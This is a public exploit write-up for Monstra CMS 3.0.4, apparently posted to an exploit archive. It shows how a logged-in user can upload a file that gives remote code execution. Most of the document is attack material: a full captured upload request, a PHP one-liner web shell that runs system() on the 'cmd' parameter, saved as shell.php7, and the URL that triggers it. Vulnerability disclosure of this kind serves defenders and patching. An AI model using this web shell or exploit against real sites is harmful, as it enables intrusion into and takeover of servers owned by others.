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Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload

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Ken1Ve

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# Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload
# Google Dork: N/A
# Date: 2020-05-18
# Exploit Author: Kishan Lal Choudhary
# Vendor Homepage: https://monstra.org
# Software Link: https://bitbucket.org/awilum/monstra/downloads/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu



1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/

2. Upload a one liner shell with php7 extenstion ie: shell.php7

#burp request
------------------------------------EOF-----------------------------------------------------
POST /monstra/admin/index.php?id=filesmanager HTTP/1.1
Host: 192.168.2.5
Content-Length: 548
Cache-Control: max-age=0
Origin: http://192.168.2.5
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328
Connection: close

------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="csrf"

2e6ae2353998caa319aae262b113c6b3f17a9636
------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="file"; filename="shell.php7"
Content-Type: application/octet-stream

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>


------WebKitFormBoundarytRfyCkYq8NvztDBf
Content-Disposition: form-data; name="upload_file"

Upload
------WebKitFormBoundarytRfyCkYq8NvztDBf--

------------------------------------EOF-----------------------------------------------------


3. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id




We have successfully got Remote Code execution
            
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